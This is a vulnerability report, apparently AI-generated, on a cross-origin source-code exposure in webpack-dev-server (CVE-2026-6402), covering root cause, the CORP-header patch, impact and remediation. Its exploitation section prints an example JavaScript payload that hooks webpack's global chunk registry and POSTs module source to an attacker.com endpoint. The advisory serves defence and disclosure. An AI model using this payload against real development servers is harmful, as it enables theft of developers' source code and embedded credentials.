CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-6402

CVE-2026-6402: Cross-Origin Source Code Exposure in webpack-dev-server

Alon Barad
Alon Barad
Software Engineer

May 18, 2026·6 min read·56 visits

Executive Summary (TL;DR)

webpack-dev-server <= 5.2.3 fails to block cross-origin script inclusions over HTTP due to missing Fetch Metadata headers, enabling attackers to steal local source code by hooking global webpack registry functions.

A medium-severity vulnerability in webpack-dev-server versions up to 5.2.3 allows malicious external websites to exfiltrate an application's entire source code when the development server is accessed over plain HTTP. The vulnerability leverages cross-origin script inclusion to bypass origin restrictions.

Vulnerability Overview

webpack-dev-server is a development utility that provides live reloading and serves compiled frontend assets during application development. The utility compiles source code into JavaScript bundles and exposes them via a local HTTP server. These bundles contain the entirety of the application's client-side source code, frequently including unminified logic, development credentials, and internal API endpoints.

CVE-2026-6402 is a cross-origin source code exposure vulnerability affecting versions 5.2.3 and earlier. The vulnerability is tracked under CWE-749 (Exposed Dangerous Method or Function). The issue arises when the server is accessed over plain HTTP, allowing malicious external websites to bypass security controls and load the bundles via cross-origin script inclusion.

The vulnerability stems from an architectural weakness in how webpack-dev-server validates incoming cross-origin requests. A prior security patch for CVE-2025-30359 introduced validation based on Fetch Metadata request headers (Sec-Fetch-Mode and Sec-Fetch-Site). Because modern browsers omit these headers for non-trustworthy origins such as standard HTTP, the server's middleware defaults to an allow state.

Root Cause Analysis

The technical root cause involves a combination of browser security policies and the execution model of webpack bundles. Browsers enforce the Same-Origin Policy (SOP) to restrict cross-origin data access. However, HTML <script> tags inherently bypass the SOP to allow the execution of cross-origin resources. While the host page cannot read the raw text of the fetched script natively, it can intercept the execution environment if the script interacts with global variables.

Webpack bundles are designed to register their contained modules into a global registry for hot module replacement and chunk loading. The registry typically takes the form of a global array or object, such as window.webpackChunk or self.webpackHotUpdate. When a bundle executes, it immediately pushes its internal module definitions to these global structures.

If a malicious website includes the target developer's local bundle via a <script> tag, the browser executes the bundle within the context of the attacker's page. The attacker can pre-define the global registry structures and intercept the modules as they are registered. The failure of the server to block the initial cross-origin request allows the malicious page to capture the application's source code during execution.

Code Analysis

The vulnerable implementation relied entirely on request-side validation using Fetch Metadata headers. The server checked for the presence of Sec-Fetch-Site: cross-site to block unauthorized inclusions. When browsers omitted these headers over plain HTTP connections, the validation logic failed open, permitting the HTTP request to succeed.

The patch for CVE-2026-6402 shifts the defense mechanism from request validation to response headers. The maintainers implemented the Cross-Origin-Resource-Policy: same-origin (CORP) header. CORP is a robust, response-side security control that instructs the browser to block the resource from loading in cross-origin contexts, regardless of the request type or HTML tag used.

// Patch implemented in lib/Server.js
if (
  this.options.allowedHosts !== "all" &&
  !this.isUserCORSWildcardEnabled()
) {
  res.setHeader("Cross-Origin-Resource-Policy", "same-origin");
}

The patched code automatically applies the CORP header unless open access is explicitly configured. When a modern browser receives this response header, it enforces the restriction at the network layer and prevents the script from executing in the malicious page context. This comprehensively closes the cross-origin inclusion vector.

Exploitation

Exploitation requires an attacker to successfully target a developer actively running the vulnerable webpack-dev-server locally. The attacker must host a malicious webpage and entice the developer to visit it. The attack relies on the predictable local network configuration typically used by development environments, such as localhost or 127.0.0.1 on port 8080 or 3000.

The attacker's webpage defines a proxy object or overrides the expected global webpack registry function before including the target bundle. The JavaScript payload hooks the push method of window.webpackChunk. When the bundle loads, it invokes this modified function, passing the module identifiers and raw source code directly into the attacker's control.

// Example exploit payload hosted on attacker site
window.webpackChunk = {
  push: function(chunk) {
    const [id, modules] = chunk;
    for (const moduleId in modules) {
      // Intercept and exfiltrate the raw source code
      fetch('https://attacker.com/steal', {
        method: 'POST',
        body: modules[moduleId].toString()
      });
    }
  }
};

Following the definition of the hook, the malicious page injects a <script src="http://localhost:8080/main.js"></script> tag. The browser requests the file, the server responds with the bundle, and the source code is subsequently sent to the attacker-controlled server.

Impact Assessment

The primary impact of CVE-2026-6402 is the complete loss of source code confidentiality. Front-end codebases frequently contain sensitive intellectual property, proprietary algorithms, and hardcoded internal endpoints. During development, engineers may also temporarily hardcode administrative credentials or access tokens, which become exposed within the bundle.

The vulnerability carries a CVSS 3.1 Base Score of 5.3. Exploitation requires user interaction, specifically the developer visiting a malicious site while the server is running. The attack complexity evaluates to High because the attacker must accurately target the local port the development server is bound to.

The impact is constrained by newer browser-level protections. Chromium-based browsers (Chrome 142+) implement Local Network Access (LNA) restrictions by default. LNA prevents public internet sites from initiating requests to private network addresses without preflight consent. Developers using Firefox, Safari, or older Chromium versions remain exposed to this attack vector.

Remediation

The primary remediation is upgrading webpack-dev-server to version 5.2.4 or later. This release correctly implements the Cross-Origin-Resource-Policy header, mitigating the vulnerability universally across all compliant browsers. Development teams must enforce minimum version requirements in their dependency manifests to ensure the patch applies consistently.

For environments where immediate patching is not feasible, developers must apply configuration-based workarounds. Running the development server over TLS utilizing the --https flag ensures the connection operates in a secure context. In secure contexts, browsers append the necessary Fetch Metadata headers, allowing the legacy CVE-2025-30359 mitigations to function as intended.

Administrators must also avoid configuring allowedHosts: 'all' within the webpack configuration. Restricting the allowedHosts directive to specific, trusted domains reduces the attack surface by enforcing strict host header validation on incoming requests.

Fix Analysis (2)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
EPSS Probability
0.03%

Affected Systems

webpack-dev-server <= 5.2.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
webpack-dev-server
openjs
<= 5.2.35.2.4
AttributeDetail
CWE IDCWE-749
Attack VectorNetwork (Requires User Interaction)
CVSS Score5.3 (Medium)
EPSS Score0.00033
ImpactHigh Confidentiality Loss
Exploit StatusProof of Concept
CISA KEVNot Listed

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Discovery / Credential Access
CWE-749
Exposed Dangerous Method or Function

The software provides an API or similar interface that exposes a method or function that is dangerous or allows an attacker to manipulate the environment.

Vulnerability Timeline

Initial fix commit pushed to GitHub
2026-04-20
Version 5.2.4 released
2026-05-11
CVE-2026-6402 officially published by OpenJS Foundation
2026-05-12
NVD entry created
2026-05-12

References & Sources

  • [1]NVD Entry for CVE-2026-6402
  • [2]GitHub Security Advisory GHSA-79cf-xcqc-c78w
  • [3]OpenJS Foundation Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-53653
8.7

CVE-2026-53653: Unauthenticated Denial of Service via Unbounded Image Derivative Dimensions in Grav CMS

Grav CMS prior to version 1.7.53 and 2.0.0-rc.8 is vulnerable to an unauthenticated remote denial of service (DoS) vulnerability. By supplying crafted query parameters with extremely large dimensions to image assets, remote unauthenticated attackers can force the server to allocate massive amounts of system memory, leading to kernel Out-Of-Memory (OOM) termination of web worker processes.

Amit Schendel
Amit Schendel
9 views•7 min read
•2 days ago•CVE-2026-53657
8.2

CVE-2026-53657: Privilege Escalation via Overly Permissive Unix Domain Socket in Lima Guest Agent

CVE-2026-53657 is a local privilege escalation vulnerability in Lima (lima-vm/lima) affecting versions prior to 2.1.3 when configured with the QEMU driver. The guest agent daemon, running as root, creates its communication socket `/run/lima-guestagent.sock` with world-writable permissions (0777). This allows unprivileged local users to command the agent to establish arbitrary tunnels, including to privileged local UNIX sockets (like D-Bus). Because the target daemon authenticates the incoming connection using the credentials of the root-owned guest agent (via SO_PEERCRED), unprivileged users can perform root operations, resulting in complete guest VM compromise.

Amit Schendel
Amit Schendel
6 views•9 min read
•2 days ago•CVE-2026-10740
5.3

CVE-2026-10740: Denial of Service in s2n-quic CryptoStream Reassembly

An unauthenticated Denial of Service vulnerability exists in the s2n-quic library's CryptoStream reassembler due to a lack of buffer limits on out-of-order cryptographic frames. An attacker can transmit a crafted CRYPTO frame with an extremely high offset and nominal payload, forcing the receiver to execute unbounded memory allocations and causing service crashes.

Amit Schendel
Amit Schendel
6 views•7 min read
•2 days ago•CVE-2026-55153
7.1

CVE-2026-55153: JNDI Injection and Deserialization Gadget Abuse in mchange-commons-java

A JNDI Injection and Deserialization Gadget vulnerability exists in mchange-commons-java prior to version 0.6.0. The com.mchange.v2.naming.JavaBeanObjectFactory component permits arbitrary class instantiation and setter invocation, allowing attackers to perform Server-Side Request Forgery (SSRF) and remote class loading.

Alon Barad
Alon Barad
7 views•5 min read
•2 days ago•GHSA-8RW6-P7M8-63JP
6.5

GHSA-8RW6-P7M8-63JP: Array Element-Level SELECT Permissions Leak in SurrealDB

SurrealDB versions supporting element-level SELECT permissions on arrays are vulnerable to a logical authorization bypass. Due to an index-shifting error during array filtration, restricted elements can skip permission checks and leak to unauthorized record users.

Alon Barad
Alon Barad
10 views•6 min read
•3 days ago•CVE-2026-12243
7.5

CVE-2026-12243: Incomplete Path Traversal Validation and Percent-Encoding Bypass in NLTK

CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.

Amit Schendel
Amit Schendel
8 views•8 min read